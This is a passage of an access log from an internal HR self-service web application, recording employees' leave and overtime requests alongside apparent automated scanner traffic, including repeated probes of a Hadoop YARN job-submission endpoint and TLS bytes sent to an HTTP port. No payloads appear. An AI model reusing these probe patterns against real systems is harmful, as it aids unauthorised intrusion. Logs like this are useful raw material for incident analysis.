/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 100678 192.168.12.46 - - [03/Dec/2025:16:54:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:54:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:16:54:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6664044012008652 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:54:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6664044012008652 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:16:54:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6664044012008652 HTTP/1.1" 200 18803 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6664044012008652" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:54:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6664044012008652 HTTP/1.1" 200 18803 192.168.12.46 - - [03/Dec/2025:16:54:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4226 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:16:54:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4226 100.64.0.1 - - [03/Dec/2025:16:54:56 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [03/Dec/2025:16:54:56 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1" 100.64.0.1 - - [03/Dec/2025:16:55:47 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1" 100.64.0.1 - - [03/Dec/2025:16:55:47 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 192.168.12.46 - - [03/Dec/2025:17:00:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:17:00:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:17:02:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.31308300539278977 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:17:02:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.31308300539278977 HTTP/1.1" 200 16608 192.168.11.60 - - [03/Dec/2025:17:03:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:17:03:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 - 192.168.11.60 - - [03/Dec/2025:17:03:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:17:03:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.60 - - [03/Dec/2025:17:03:06 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:17:03:06 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 192.168.11.60 - - [03/Dec/2025:17:03:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:17:03:09 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.60 - - [03/Dec/2025:17:03:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20113 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:17:03:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20113 192.168.11.60 - - [03/Dec/2025:17:03:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:17:03:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.60 - - [03/Dec/2025:17:03:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:17:03:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 192.168.11.60 - - [03/Dec/2025:17:03:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 165839 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:17:03:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 165839 192.168.12.46 - - [03/Dec/2025:17:03:31 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.31308300539278977 HTTP/1.1" 200 18791 192.168.12.46 - - [03/Dec/2025:17:03:31 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.31308300539278977 HTTP/1.1" 200 18791 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.31308300539278977" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.60 - - [03/Dec/2025:17:03:31 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1360836 HTTP/1.1" 200 5667 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:17:03:31 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1360836 HTTP/1.1" 200 5667 192.168.11.60 - - [03/Dec/2025:17:03:33 +0800] "GET /eHR/img/workflow/end_approve.png HTTP/1.1" 200 2362 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:17:03:33 +0800] "GET /eHR/img/workflow/end_approve.png HTTP/1.1" 200 2362 192.168.12.46 - - [03/Dec/2025:17:03:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:17:03:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 192.168.11.60 - - [03/Dec/2025:17:03:39 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1360836 HTTP/1.1" 200 5667 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:17:03:39 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1360836 HTTP/1.1" 200 5667 192.168.11.60 - - [03/Dec/2025:17:03:43 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1360749 HTTP/1.1" 200 5626 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:17:03:43 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1360749 HTTP/1.1" 200 5626 192.168.12.46 - - [03/Dec/2025:17:03:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:17:03:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:17:03:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:17:03:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 192.168.11.60 - - [03/Dec/2025:17:03:53 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1357418 HTTP/1.1" 200 5660 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:17:03:53 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1357418 HTTP/1.1" 200 5660 192.168.12.46 - - [03/Dec/2025:17:04:03 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:17:04:03 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 192.168.12.46 - - [03/Dec/2025:17:04:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 58511 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:17:04:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 58511 192.168.11.60 - - [03/Dec/2025:17:04:06 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1347186 HTTP/1.1" 200 5698 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [03/Dec/2025:17:04:06 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1347186 HTTP/1.1" 200 5698 192.168.12.46 - - [03/Dec/2025:17:04:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:17:04:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:17:04:36 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5874293245301201 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:17:04:36 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5874293245301201 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:17:04:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5874293245301201 HTTP/1.1" 200 18797 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5874293245301201" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:17:04:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5874293245301201 HTTP/1.1" 200 18797 192.168.12.46 - - [03/Dec/2025:17:04:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:17:04:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 100.64.0.1 - - [03/Dec/2025:17:17:08 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [03/Dec/2025:17:17:08 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:17:17:42 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [03/Dec/2025:17:17:42 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:17:33:45 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 100.64.0.1 - - [03/Dec/2025:17:33:45 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [03/Dec/2025:17:58:53 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [03/Dec/2025:17:58:53 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:17:59:30 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [03/Dec/2025:17:59:30 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:18:10:02 +0800] "\x16\x03\x01\x02" 501 206 "-" "-" 100.64.0.1 - - [03/Dec/2025:18:10:02 +0800] "\x16\x03\x01\x02" 501 206 100.64.0.1 - - [03/Dec/2025:18:10:02 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24" 100.64.0.1 - - [03/Dec/2025:18:10:02 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:18:10:02 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0" 100.64.0.1 - - [03/Dec/2025:18:10:02 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [03/Dec/2025:18:12:58 +0800] "\x16\x03\x01\x02" 501 206 "-" "-" 100.64.0.1 - - [03/Dec/2025:18:12:58 +0800] "\x16\x03\x01\x02" 501 206 100.64.0.1 - - [03/Dec/2025:18:12:58 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36" 100.64.0.1 - - [03/Dec/2025:18:12:58 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:18:12:58 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0)" 100.64.0.1 - - [03/Dec/2025:18:12:58 +0800] "GET /favicon.ico HTTP/1.1" 404 209 192.168.12.46 - - [03/Dec/2025:18:13:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:13:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.12.46 - - [03/Dec/2025:18:13:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:13:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.46 - - [03/Dec/2025:18:13:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:13:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.46 - - [03/Dec/2025:18:13:42 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:13:42 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 192.168.12.46 - - [03/Dec/2025:18:13:46 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:13:46 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.46 - - [03/Dec/2025:18:13:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:13:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.12.46 - - [03/Dec/2025:18:13:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:13:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.12.46 - - [03/Dec/2025:18:14:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:14:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:18:14:44 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2656189044632564 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:14:44 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2656189044632564 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:18:14:49 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2656189044632564 HTTP/1.1" 200 18793 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2656189044632564" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:14:49 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2656189044632564 HTTP/1.1" 200 18793 192.168.12.46 - - [03/Dec/2025:18:14:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:14:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 192.168.12.46 - - [03/Dec/2025:18:16:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 192.168.12.46 - - [03/Dec/2025:18:16:32 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" 